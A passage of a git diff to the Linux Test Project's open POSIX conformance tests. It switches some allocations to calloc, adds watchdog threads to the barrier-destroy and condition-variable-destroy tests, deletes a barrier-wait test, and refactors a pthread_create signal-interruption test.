+		aiocb[i] = calloc(1, sizeof(struct aiocb));
 
 		if (aiocb[i] == NULL) {
 			printf(TNAME " Error at malloc(): %s\n",
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c
index 12319dc..9ce2916 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/aio_error/2-1.c
@@ -63,7 +63,7 @@
 	/* create AIO req */
 
 	for (i = 0; i < BUF_NB; i++) {
-		aiocb[i] = malloc(sizeof(struct aiocb));
+		aiocb[i] = calloc(1, sizeof(struct aiocb));
 		if (aiocb[i] == NULL) {
 			printf(TNAME " Error at malloc(): %s\n",
 			       strerror(errno));
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-1.c
index a4ad94c..651e66f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-1.c
@@ -9,7 +9,7 @@
  * - Start nanosleep() in a child process
  * - Send a signal to the child process and have the handler exit with
  *   success; if the handler is not called, return 0
- * - In the parent, if the child exitted success, return success.
+ * - In the parent, if the child exited success, return success.
  */
 #include <stdio.h>
 #include <time.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c
index 7abb08f..fb782f2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_destroy/2-1.c
@@ -1,23 +1,25 @@
 /*
  * Copyright (c) 2002, Intel Corporation. All rights reserved.
+ * Copyright (c) 2017, Richard Palethorpe <rpalethorpe@suse.com>
  * This file is licensed under the GPL license.  For the full content
  * of this license, see the COPYING file at the top level of this
  * source tree.
  *
  * pthread_barrier_destroy()
  *
- * The pthread_barrier_destroy() function may fail if:
- * [EBUSY] The implementation has detected an attempt to destroy a barrier while it is in
- * use (for example, while being used in a pthread_barrier_wait() call) by another
- * thread.
+ * Attempt to destroy a barrier which has a waiter. The standard recommends
+ * that EBUSY is returned, but the required behaviour is undefined. At the
+ * time of writing, glibc blocks until there are no threads waiting on the
+ * barrier.
  *
- * Note: This case will always PASS
+ * Hypothetically, on some implementations, the child could segfault or
+ * 'barrier_wait() could return success or EINVAL when 'barrier_destroy() is
+ * called. It is difficult to determine whether 'barrier_wait() has returned
+ * due to 'barrier_destroy() or some other reason. So we just report what has
+ * happened. Obviously a segfault will cause the test to crash, which is
+ * highly undesirable behaviour regardless of whether it is POSIX compliant.
  *
- * Steps:
- * 1. Main initialize barrier with count 2
- * 2. Main create a child thread
- * 3. Child thread call pthread_barrier_wait(), should block
- * 4. Main call pthread_barrier_destroy(), while child is blocking on the barrier
+ * Also see pthread_cond_destroy 4-1.
  */
 
 #define _XOPEN_SOURCE 600
@@ -28,13 +30,15 @@
 #include <signal.h>
 #include <string.h>
 #include <errno.h>
+#include <sched.h>
 #include "posixtest.h"
 
 static pthread_barrier_t barrier;
-static int thread_state;
+static volatile int thread_state;
 #define NOT_CREATED_THREAD 1
 #define ENTERED_THREAD 2
 #define EXITING_THREAD 3
+#define WAIT_LOOP 0xFFFFFF
 
 static void *fn_chld(void *arg)
 {
@@ -42,74 +46,93 @@
 
 	pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);
 
-	thread_state = ENTERED_THREAD;
-
-	/* Child should block here */
 	printf("child: barrier wait\n");
+	thread_state = ENTERED_THREAD;
 	rc = pthread_barrier_wait(&barrier);
-	if (rc != 0 && rc != PTHREAD_BARRIER_SERIAL_THREAD) {
-		printf("Error: child: pthread_barrier_wait() get unexpected "
-		       "return code : %d\n", rc);
-		exit(PTS_UNRESOLVED);
-	} else if (rc == PTHREAD_BARRIER_SERIAL_THREAD) {
-		printf("child: get PTHREAD_BARRIER_SERIAL_THREAD\n");
-	}
+	if (rc == PTHREAD_BARRIER_SERIAL_THREAD)
+		printf("child: got PTHREAD_BARRIER_SERIAL_THREAD\n");
+	else if (rc != 0)
+		perror("child: pthread_barrier_wait");
+	else
+		printf("child: pthread_barrier_wait returned success");
 
 	thread_state = EXITING_THREAD;
-	pthread_exit(0);
-	return NULL;
+	return arg;
+}
+
+static void *watchdog(void *arg)
+{
+	int rc = 0;
+
+	pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);
+
+	sleep(1);
+	printf("watchdog: It appears pthread_barrier_destroy() is blocking\n");
+	rc = pthread_barrier_wait(&barrier);
+	if (rc != 0 && rc != PTHREAD_BARRIER_SERIAL_THREAD) {
+		perror("watchdog: pthread_barrier_wait");
+		exit(PTS_UNRESOLVED);
+	}
+
+	return arg;
 }
 
 int main(void)
 {
 	int cnt = 0;
 	int rc;
-	pthread_t child_thread;
+	pthread_t child_thread, watchdog_thread;
 
 	printf("main: Initialize barrier with count = 2\n");
 	if (pthread_barrier_init(&barrier, NULL, 2) != 0) {
-		printf("main: Error at pthread_barrier_init()\n");
+		perror("main: pthread_barrier_init");
 		return PTS_UNRESOLVED;
 	}
 
 	printf("main: create child thread\n");
 	thread_state = NOT_CREATED_THREAD;
 	if (pthread_create(&child_thread, NULL, fn_chld, NULL) != 0) {
-		printf("main: Error at pthread_create()\n");
+		perror("main: pthread_create");
 		return PTS_UNRESOLVED;
 	}
 
-	/* Expect the child to block */
+	printf("main: create watchdog thread\n");
+	if (pthread_create(&watchdog_thread, NULL, watchdog, NULL) != 0) {
+		perror("main: Error at pthread_create");
+		return PTS_UNRESOLVED;
+	}
+
 	cnt = 0;
-	do {
-		sleep(1);
-	} while (thread_state != EXITING_THREAD && cnt++ < 2);
+	for (cnt = 0; thread_state < ENTERED_THREAD && cnt < WAIT_LOOP; cnt++)
+		sched_yield();
+	/* Yield once more to increase the probability that the child thread
+	 * will call pthread_barrier_wait() before this thread reaches
+	 * pthread_barrier_destroy().
+	 */
+	sched_yield();
 
 	if (thread_state == EXITING_THREAD) {
-		/* child thread did not block */
-		printf("Test FAILED: child thread did not block on "
-		       "pthread_barrier_wait()\n");
+		printf("Test FAILED: child thread did not block on pthread_barrier_wait()\n");
 		exit(PTS_FAIL);
-	} else if (thread_state != ENTERED_THREAD) {
-		printf("Unexpected thread state\n");
+	} else if (thread_state == NOT_CREATED_THREAD) {
+		printf("Child thread did not start (quick enough)\n");
 		exit(PTS_UNRESOLVED);
 	}
 
 	printf("main: destroy barrier while child is waiting\n");
-
 	rc = pthread_barrier_destroy(&barrier);
 
-	if (rc == EBUSY) {
-		printf("main: correctly got EBUSY\n");
-		printf("Test PASSED\n");
+	if (rc != EBUSY) {
+		printf("UNSUPPORTED: POSIX recommends returning EBUSY, but got: %d, %s\n",
+		       rc, strerror(rc));
+		rc = PTS_UNSUPPORTED;
 	} else {
-		printf("main: got return code: %d, %s\n", rc, strerror(rc));
-		printf
-		    ("Test PASSED: Note*: Expected EBUSY, but standard says 'may' fail.\n");
+		printf("Test PASSED\n");
+		rc = PTS_PASS;
 	}
 
-	/* Cleanup (cancel thread in case it is still blocking */
+	pthread_cancel(watchdog_thread);
 	pthread_cancel(child_thread);
 
-	return PTS_PASS;
+	return rc;
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/6-1.c
deleted file mode 100644
index fa61360..0000000
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/6-1.c
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (c) 2002, Intel Corporation. All rights reserved.
- * This file is licensed under the GPL license.  For the full content
- * of this license, see the COPYING file at the top level of this
- * source tree.
- *
- * pthread_barrier_wait()
- *
- * The pthread_barrier_wait() function may fail if:
- * [EINVAL] The value specified by barrier does not refer to an initialized barrier object.
- *
- * This case will always pass.
- */
-
-#define _XOPEN_SOURCE 600
-#include <pthread.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <signal.h>
-#include <errno.h>
-#include <string.h>
-#include "posixtest.h"
-
-int rc;
-
-void sig_handler()
-{
-	printf
-	    ("main: blocked on barrier wait with an un-initializied barrier object.\n");
-	printf
-	    ("Test PASSED: Note*: Expected EINVAL when calling this funtion with an un-initialized barrier object, but standard says 'may' fail.\n");
-	exit(PTS_PASS);
-}
-
-int main(void)
-{
-	pthread_barrier_t barrier;
-	struct sigaction act;
-
-	/* Set up main thread to handle SIGALRM */
-	act.sa_flags = 0;
-	act.sa_handler = sig_handler;
-	sigfillset(&act.sa_mask);
-	sigaction(SIGALRM, &act, 0);
-
-	/* Intialize return code */
-	rc = 1;
-
-	/* Call pthread_barrier_wait while refering to an un-initialized barrier object */
-
-	/* Just in case we are blocked, send a SIGALRM after 2 sec. */
-	alarm(2);
-
-	rc = pthread_barrier_wait(&barrier);
-
-	if (rc == EINVAL) {
-		printf("Test PASSED\n");
-	} else {
-		printf("return code : %d, %s\n", rc, strerror(rc));
-		printf
-		    ("Test PASSED: Note*: Expected EINVAL when calling this funtion with an un-initialized barrier object, but standard says 'may' fail.\n");
-	}
-
-	return PTS_PASS;
-}
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/speculative/4-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/speculative/4-1.c
index 9df7c19..b447a2f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/speculative/4-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/speculative/4-1.c
@@ -1,19 +1,17 @@
 /*
  * Copyright (c) 2004, QUALCOMM Inc. All rights reserved.
+ * Copyright (c) 2017, Richard Palethorpe <rpalethorpe@suse.com>
  * Created by:  abisain REMOVE-THIS AT qualcomm DOT com
  * This file is licensed under the GPL license.  For the full content
  * of this license, see the COPYING file at the top level of this
  * source tree.
-
- * Test that when  pthread_cond_destroy()
- *   is called on a cond that some thread is waiting, then it returns
- *   EBUSY
-
- * Steps:
- * 1. Create a condvar
- * 2. Create a thread and make it wait on the condvar
- * 3. Try to destroy the cond var in main
- * 4. Check that pthread_cond_destroy returns EBUSY
+ *
+ * Test that EBUSY is returned when pthread_cond_destroy() is called on a cond
+ * var that has waiters. POSIX only recommends this behaviour, the required
+ * behaviour is undefined.
+ *
+ * This test is very similar to pthread_barrier_destroy 2-1 which has more
+ * explanation attached.
  */
 
 #include <pthread.h>
@@ -21,68 +19,84 @@
 #include <stdlib.h>
 #include <errno.h>
 #include <unistd.h>
+#include <string.h>
 #include "posixtest.h"
 
-#define TEST "4-1"
-#define FUNCTION "pthread_cond_destroy"
-#define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": "
-
-/* cond used by the two threads */
 pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-
-/* cond used by the two threads */
 pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
 
 void *thread(void *tmp)
 {
 	int rc = 0;
 
-	/* acquire the mutex */
+	pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);
+
 	rc = pthread_mutex_lock(&mutex);
 	if (rc != 0) {
-		printf(ERROR_PREFIX "pthread_mutex_lock\n");
+		perror("child: pthread_mutex_lock");
 		exit(PTS_UNRESOLVED);
 	}
 
-	/* Wait on the cond var. This will not return, as nobody signals */
 	rc = pthread_cond_wait(&cond, &mutex);
 	if (rc != 0) {
-		printf(ERROR_PREFIX "pthread_cond_wait\n");
-		exit(PTS_UNRESOLVED);
+		perror("child: pthread_cond_wait");
+		exit(PTS_UNSUPPORTED);
 	}
 
 	rc = pthread_mutex_unlock(&mutex);
 	if (rc != 0) {
-		printf(ERROR_PREFIX "pthread_mutex_unlock\n");
+		perror("child: pthread_mutex_unlock");
+		exit(PTS_UNSUPPORTED);
+	}
+
+	return tmp;
+}
+
+void *watchdog(void *arg)
+{
+	pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL);
+
+	sleep(1);
+	printf("watchdog: pthread_cond_destroy() appears to be blocking\n");
+	if (pthread_cond_signal(&cond)) {
+		perror("watchdog: pthread_cond_signal()");
 		exit(PTS_UNRESOLVED);
 	}
-	return NULL;
+
+	return arg;
 }
 
 int main(void)
 {
-	pthread_t low_id;
+	pthread_t low_id, watchdog_thread;
 	int rc = 0;
 
-	/* Create a new thread with default attributes */
 	rc = pthread_create(&low_id, NULL, thread, NULL);
 	if (rc != 0) {
-		printf(ERROR_PREFIX "pthread_create\n");
+		perror("main: pthread_create");
 		exit(PTS_UNRESOLVED);
 	}
 
-	/* Let the other thread run */
-	sleep(2);
+	sleep(1);
 
-	/* Try to destroy the cond var. This should return an error */
-	rc = pthread_cond_destroy(&cond);
-	if (rc != EBUSY) {
-		printf(ERROR_PREFIX "Test PASS: Expected %d(EBUSY) got %d, "
-		       "though the standard states 'may' fail\n", EBUSY, rc);
-
-		exit(PTS_PASS);
+	rc = pthread_create(&watchdog_thread, NULL, watchdog, NULL);
+	if (rc != 0) {
+		perror("main: pthread_create");
+		exit(PTS_UNRESOLVED);
 	}
 
-	printf("Test PASSED\n");
-	exit(PTS_PASS);
+	rc = pthread_cond_destroy(&cond);
+	if (rc != EBUSY) {
+		printf("UNSUPPORTED: The standard recommends returning %d, EBUSY, but got %d, %s\n",
+		       EBUSY, rc, strerror(rc));
+		rc = PTS_UNSUPPORTED;
+	} else {
+		printf("PASSED: received EBUSY as per recommendation\n");
+		rc = PTS_PASS;
+	}
+
+	pthread_cancel(watchdog_thread);
+	pthread_cancel(low_id);
+
+	exit(rc);
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c
index 5c7486b..f1edc3f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_create/14-1.c
@@ -1,7 +1,8 @@
 /*
  * Copyright (c) 2004, Bull S.A..  All rights reserved.
+ * Copyright (c) 2017, Linux Test Project
  * Created by: Sebastien Decugis
-
+ *
  * This program is free software; you can redistribute it and/or modify it
  * under the terms of version 2 of the GNU General Public License as
  * published by the Free Software Foundation.
@@ -12,361 +13,223 @@
  *
  * You should have received a copy of the GNU General Public License along
  * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-
- * This sample test aims to check the following assertion:
  *
+ * This sample test aims to check the following assertion:
  * The function does not return EINTR
-
+ *
  * The steps are:
- * -> pthread_kill a thread which creates threads
+ * -> continuously send SIGUSR1 to a thread which runs pthread_create()
  * -> check that EINTR is never returned
-
  */
 
- /* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
+/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
 #define _POSIX_C_SOURCE 200112L
 
- /* Some routines are part of the XSI Extensions */
+/* Some routines are part of the XSI Extensions */
 #ifndef WITHOUT_XOPEN
 #define _XOPEN_SOURCE	600
 #endif
-/********************************************************************************************/
-/****************************** standard includes *****************************************/
-/********************************************************************************************/
-#include <pthread.h>
-#include <stdarg.h>
+
 #include <stdio.h>
+#include <errno.h>
+#include <pthread.h>
+#include <semaphore.h>
+#include <signal.h>
+#include <sys/wait.h>
+#include <sys/time.h>
 #include <stdlib.h>
-#include <string.h>
 #include <unistd.h>
 
-#include <sched.h>
-#include <semaphore.h>
-#include <errno.h>
-#include <assert.h>
-#include <sys/wait.h>
-#include <time.h>
-#include <signal.h>
-
-/********************************************************************************************/
-/******************************   Test framework   *****************************************/
-/********************************************************************************************/
 #include "../testfrmw/testfrmw.h"
 #include "../testfrmw/testfrmw.c"
- /* This header is responsible for defining the following macros:
-  * UNRESOLVED(ret, descr);
-  *    where descr is a description of the error and ret is an int (error code for example)
-  * FAILED(descr);
-  *    where descr is a short text saying why the test has failed.
-  * PASSED();
-  *    No parameter.
-  *
-  * Both three macros shall terminate the calling process.
-  * The testcase shall not terminate in any other maneer.
-  *
-  * The other file defines the functions
-  * void output_init()
-  * void output(char * string, ...)
-  *
-  * Those may be used to output information.
-  */
-
-/********************************************************************************************/
-/********************************** Configuration ******************************************/
-/********************************************************************************************/
-#ifndef VERBOSE
-#define VERBOSE 1
-#endif
-
-#define WITH_SYNCHRO
-
-/********************************************************************************************/
-/***********************************    Test cases  *****************************************/
-/********************************************************************************************/
-
 #include "../testfrmw/threads_scenarii.c"
+#include "safe_helpers.h"
 
-/* This file will define the following objects:
- * scenarii: array of struct __scenario type.
- * NSCENAR : macro giving the total # of scenarii
- * scenar_init(): function to call before use the scenarii array.
- * scenar_fini(): function to call after end of use of the scenarii array.
- */
+#define RUN_TIME_USEC (2*1000*1000)
+#define SIGNALS_WITHOUT_DELAY 100
 
-/********************************************************************************************/
-/***********************************    Real Test   *****************************************/
-/********************************************************************************************/
+/* total number of signals sent */
+static unsigned long count_sig;
+/* sleep [us] in between signals */
+static volatile unsigned long sleep_time;
+/* number of pthread_create scenarios tested */
+static unsigned long count_ope;
 
-char do_it = 1;
-char woken = 0;
-unsigned long count_ope = 0;
-#ifdef WITH_SYNCHRO
-sem_t semsig1;
-sem_t semsig2;
-unsigned long count_sig = 0;
-#endif
-
-sigset_t usersigs;
-
-typedef struct {
-	int sig;
-#ifdef WITH_SYNCHRO
-	sem_t *sem;
-#endif
-} thestruct;
-
-/* the following function keeps on sending the signal to the process */
-void *sendsig(void *arg)
+static unsigned long long current_time_usec(void)
 {
-	thestruct *thearg = (thestruct *) arg;
-	int ret;
-	pid_t process;
+	struct timeval now;
 
-	process = getpid();
+	SAFE_FUNC(gettimeofday(&now, NULL));
+	return now.tv_sec * 1000000LL + now.tv_usec;
+}
 
-	/* We block the signals SIGUSR1 and SIGUSR2 for this THREAD */
-	ret = pthread_sigmask(SIG_BLOCK, &usersigs, NULL);
-	if (ret != 0) {
-		UNRESOLVED(ret,
-			   "Unable to block SIGUSR1 and SIGUSR2 in signal thread");
-	}
+/* the following function keeps sending signal to the process */
+static void *sendsig(void *arg)
+{
+	static sigset_t usersigs;
 
-	while (do_it) {
-#ifdef WITH_SYNCHRO
-		if ((ret = sem_wait(thearg->sem))) {
-			UNRESOLVED(errno, "Sem_wait in sendsig");
-		}
+	(void)arg;
+	pid_t process = getpid();
+
+	/* block the signal SIGUSR1 for this THREAD */
+	SAFE_FUNC(sigemptyset(&usersigs));
+	SAFE_FUNC(sigaddset(&usersigs, SIGUSR1));
+	SAFE_PFUNC(pthread_sigmask(SIG_BLOCK, &usersigs, NULL));
+
+	while (1) {
+		/*
+		 * Keep increasing sleeptime to make sure we progress
+		 * allow SIGNALS_WITHOUT_DELAY signals without any pause,
+		 * then start increasing sleep_time to make sure all threads
+		 * can progress.
+		 */
+		sleep_time++;
+		if (sleep_time / SIGNALS_WITHOUT_DELAY > 0)
+			usleep(sleep_time / SIGNALS_WITHOUT_DELAY);
+
 		count_sig++;
-#endif
-
-		ret = kill(process, thearg->sig);
-		if (ret != 0) {
-			UNRESOLVED(errno, "Kill in sendsig");
-		}
-
+		SAFE_FUNC(kill(process, SIGUSR1));
 	}
-
 	return NULL;
 }
 
-/* Next are the signal handlers. */
-/* This one is registered for signal SIGUSR1 */
-void sighdl1(int sig)
+static void sighdl1(int sig)
 {
-#ifdef WITH_SYNCHRO
-	if (sem_post(&semsig1)) {
-		UNRESOLVED(errno, "Sem_post in signal handler 1");
-	}
-#endif
+	(void)sig;
 }
 
-/* This one is registered for signal SIGUSR2 */
-void sighdl2(int sig)
-{
-#ifdef WITH_SYNCHRO
-	if (sem_post(&semsig2)) {
-		UNRESOLVED(errno, "Sem_post in signal handler 2");
-	}
-#endif
-}
-
-/* Thread function -- almost does nothing */
-void *threaded(void *arg)
+static void *threaded(void *arg)
 {
 	int ret;
 
 	/* Signal we're done (especially in case of a detached thread) */
 	do {
 		ret = sem_post(&scenarii[sc].sem);
-	}
-	while ((ret == -1) && (errno == EINTR));
-	if (ret == -1) {
-		UNRESOLVED(errno, "Failed to wait for the semaphore");
-	}
+	} while ((ret == -1) && (errno == EINTR));
 
-	/* return */
+	if (ret == -1)
+		UNRESOLVED(errno, "Failed to wait for the semaphore");
+
 	return arg;
 }
 
-/* Test function -- creates the threads and check that EINTR is never returned. */
-void *test(void *arg)
+/* create threads and check that EINTR is never returned */
+static void test(void)
 {
 	int ret = 0;
 	pthread_t child;
-
-	/* We don't block the signals SIGUSR1 and SIGUSR2 for this THREAD */
-	ret = pthread_sigmask(SIG_UNBLOCK, &usersigs, NULL);
-	if (ret != 0) {
-		UNRESOLVED(ret,
-			   "Unable to unblock SIGUSR1 and SIGUSR2 in worker thread");
-	}
-
-	sc = 0;
-
-	while (do_it) {
-#if VERBOSE > 5
-		output("-----\n");
-		output("Starting test with scenario (%i): %s\n", sc,
-		       scenarii[sc].descr);
-#endif
-
-		count_ope++;
-
-		ret = pthread_create(&child, &scenarii[sc].ta, threaded, NULL);
-		if (ret == EINTR) {
-			FAILED("pthread_create returned EINTR");
-		}
-		switch (scenarii[sc].result) {
-		case 0:	/* Operation was expected to succeed */
-			if (ret != 0) {
-				UNRESOLVED(ret, "Failed to create this thread");
-			}
-			break;
-
-		case 1:	/* Operation was expected to fail */
-			if (ret == 0) {
-				UNRESOLVED(-1,
-					   "An error was expected but the thread creation succeeded");
-			}
-			break;
-
-		case 2:	/* We did not know the expected result */
-		default:
-#if VERBOSE > 5
-			if (ret == 0) {
-				output
-				    ("Thread has been created successfully for this scenario\n");
-			} else {
-				output
-				    ("Thread creation failed with the error: %s\n",
-				     strerror(ret));
-			}
-#endif
-			;
-		}
-		if (ret == 0) {	/* The new thread is running */
-			if (scenarii[sc].detached == 0) {
-				ret = pthread_join(child, NULL);
-				if (ret != 0) {
-					UNRESOLVED(ret,
-						   "Unable to join a thread");
-				}
-			} else {
-				/* Just wait for the thread to terminate */
-				do {
-					ret = sem_wait(&scenarii[sc].sem);
-				}
-				while ((ret == -1) && (errno == EINTR));
-				if (ret == -1) {
-					UNRESOLVED(errno,
-						   "Failed to wait for the semaphore");
-				}
-			}
-		}
-
-		/* Change thread attribute for the next loop */
-		sc++;
-		sc %= NSCENAR;
-	}
-	return NULL;
-}
-
-/* Main function */
-int main(void)
-{
-	int ret;
-	pthread_t th_work, th_sig1, th_sig2;
-	thestruct arg1, arg2;
+	pthread_t th_sig1;
 	struct sigaction sa;
+	pthread_attr_t attr;
 
-	/* Initialize output routine */
-	output_init();
-
-	/* Initialize thread attribute objects */
-	scenar_init();
-
-	/* We need to register the signal handlers for the PROCESS */
 	sigemptyset(&sa.sa_mask);
 	sa.sa_flags = 0;
 	sa.sa_handler = sighdl1;
-	if ((ret = sigaction(SIGUSR1, &sa, NULL))) {
-		UNRESOLVED(ret, "Unable to register signal handler1");
-	}
-	sa.sa_handler = sighdl2;
-	if ((ret = sigaction(SIGUSR2, &sa, NULL))) {
-		UNRESOLVED(ret, "Unable to register signal handler2");
-	}
+	SAFE_FUNC(sigaction(SIGUSR1, &sa, NULL));
 
-	/* We prepare a signal set which includes SIGUSR1 and SIGUSR2 */
-	sigemptyset(&usersigs);
-	ret = sigaddset(&usersigs, SIGUSR1);
-	ret |= sigaddset(&usersigs, SIGUSR2);
-	if (ret != 0) {
-		UNRESOLVED(ret, "Unable to add SIGUSR1 or 2 to a signal set");
-	}
+	SAFE_PFUNC(pthread_attr_init(&attr));
+	SAFE_PFUNC(pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED));
+	SAFE_PFUNC(pthread_create(&th_sig1, &attr, sendsig, NULL));
 
-	/* We now block the signals SIGUSR1 and SIGUSR2 for this THREAD */
-	ret = pthread_sigmask(SIG_BLOCK, &usersigs, NULL);
-	if (ret != 0) {
-		UNRESOLVED(ret,
-			   "Unable to block SIGUSR1 and SIGUSR2 in main thread");
-	}
-#ifdef WITH_SYNCHRO
-	if (sem_init(&semsig1, 0, 1)) {
-		UNRESOLVED(errno, "Semsig1  init");
-	}
-	if (sem_init(&semsig2, 0, 1)) {
-		UNRESOLVED(errno, "Semsig2  init");
-	}
-#endif
+	for (sc = 0; sc < NSCENAR; sc++) {
+		/* reset sleep time for signal thread */
+		sleep_time = 0;
 
-	if ((ret = pthread_create(&th_work, NULL, test, NULL))) {
-		UNRESOLVED(ret, "Worker thread creation failed");
+		ret = pthread_create(&child, &scenarii[sc].ta, threaded, NULL);
+		if (ret == EINTR)
+			FAILED("pthread_create returned EINTR");
+
+		switch (scenarii[sc].result) {
+		case 0:	/* Operation was expected to succeed */
+			if (ret != 0)
+				UNRESOLVED(ret, "Failed to create this thread");
+			break;
+		case 1:	/* Operation was expected to fail */
+			if (ret == 0) {
+				UNRESOLVED(-1, "An error was expected but"
+					" the thread creation succeeded");
+			}
+			break;
+		case 2:	/* We did not know the expected result */
+		default:
+			break;
+		}
+
+		if (ret != 0)
+			continue;
+
+		/* The new thread is running */
+		/* Just wait for the thread to terminate */
+		do {
+			ret = sem_wait(&scenarii[sc].sem);
+		} while ((ret == -1) && (errno == EINTR));
+		if (ret == -1)
+			UNRESOLVED(errno, "Failed to wait for the semaphore");
+		if (scenarii[sc].detached == 0)
+			SAFE_PFUNC(pthread_join(child, NULL));
 	}
+}
 
-	arg1.sig = SIGUSR1;
-	arg2.sig = SIGUSR2;
-#ifdef WITH_SYNCHRO
-	arg1.sem = &semsig1;
-	arg2.sem = &semsig2;
-#endif
+static void main_loop(void)
+{
+	int child_count = 0;
+	int ret;
+	int status;
+	int stat_pipe[2];
+	pid_t child;
+	unsigned long long usec_start, usec;
+	unsigned long child_count_sig;
 
-	if ((ret = pthread_create(&th_sig1, NULL, sendsig, (void *)&arg1))) {
-		UNRESOLVED(ret, "Signal 1 sender thread creation failed");
-	}
-	if ((ret = pthread_create(&th_sig2, NULL, sendsig, (void *)&arg2))) {
-		UNRESOLVED(ret, "Signal 2 sender thread creation failed");
-	}
-
-	/* Let's wait for a while now */
-	sleep(1);
-
-	/* Now stop the threads and join them */
+	usec_start = current_time_usec();
 	do {
-		do_it = 0;
-	}
-	while (do_it);
+		fflush(stdout);
+		SAFE_FUNC(pipe(stat_pipe));
+		child = SAFE_FUNC(fork());
+		if (child == 0) {
+			count_sig = 0;
+			close(stat_pipe[0]);
+			test();
+			SAFE_FUNC(write(stat_pipe[1], &count_sig,
+				sizeof(count_sig)));
+			close(stat_pipe[1]);
+			exit(0);
+		}
+		close(stat_pipe[1]);
+		SAFE_FUNC(read(stat_pipe[0], &child_count_sig,
+			sizeof(count_sig)));
+		close(stat_pipe[0]);
+		count_sig += child_count_sig;
 
-	if ((ret = pthread_join(th_sig1, NULL))) {
-		UNRESOLVED(ret, "Signal 1 sender thread join failed");
-	}
-	if ((ret = pthread_join(th_sig2, NULL))) {
-		UNRESOLVED(ret, "Signal 2 sender thread join failed");
-	}
+		ret = waitpid(child, &status, 0);
+		if (ret != child)
+			UNRESOLVED(errno, "Waitpid returned the wrong PID");
+		if (!WIFEXITED(status)) {
+			output("status: %d\n", status);
+			FAILED("Child exited abnormally");
+		}
+		if (WEXITSTATUS(status) != 0) {
+			output("exit status: %d\n", WEXITSTATUS(status));
+			FAILED("An error occurred in child");
+		}
 
-	if ((ret = pthread_join(th_work, NULL))) {
-		UNRESOLVED(ret, "Worker thread join failed");
-	}
+		child_count++;
+		count_ope += NSCENAR;
+		usec = current_time_usec();
+	} while ((usec - usec_start) < RUN_TIME_USEC);
 
+	output("Test spawned %d child processes.\n", child_count);
+	output("Test finished after %lu usec.\n", usec - usec_start);
+}
+
+int main(void)
+{
+	output_init();
+	scenar_init();
+	main_loop();
 	scenar_fini();
 
-#if VERBOSE > 0
 	output("Test executed successfully.\n");
 	output("  %d thread creations.\n", count_ope);
-#ifdef WITH_SYNCHRO
 	output("  %d signals were sent meanwhile.\n", count_sig);
-#endif
-#endif
 	PASSED;
 }
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c
index ceeeef8..5bf0de8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/pthread_detach/4-3.c
@@ -47,12 +47,8 @@
 
 #include "../testfrmw/testfrmw.h"
 #include "../testfrmw/testfrmw.c"
+#include "safe_helpers.h"
 
-#define SAFE(op) \
-	do {\
-		if ((op) == -1) \
-			UNRESOLVED(errno, "unexpected failure"); \
-	} while (0)
 #define RUN_TIME_USEC (2*1000*1000)
 #define SIGNALS_WITHOUT_DELAY 100
 #ifndef VERBOSE
@@ -80,11 +76,11 @@
 #endif
 };
 
-unsigned long current_time_usec()
+unsigned long long current_time_usec()
 {
 	struct timeval now;
-	SAFE(gettimeofday(&now, NULL));
-	return now.tv_sec * 1000000 + now.tv_usec;
+	SAFE_FUNC(gettimeofday(&now, NULL));
+	return now.tv_sec * 1000000LL + now.tv_usec;
 }
 
 /* the following function keeps on sending the signal to the process */
@@ -128,6 +124,7 @@
 
 static void sighdl1(int sig)
 {
+	(void)sig;
 #ifdef WITH_SYNCHRO
 	if (sem_post(&semsig1))
 		UNRESOLVED(errno, "Sem_post in signal handler 1");
@@ -162,6 +159,7 @@
 	int ret = 0;
 	pthread_t child;
 
+	(void)arg;
 	/* We block the signal SIGUSR1 for this THREAD */
 	ret = pthread_sigmask(SIG_BLOCK, &usersigs, NULL);
 	if (ret != 0)
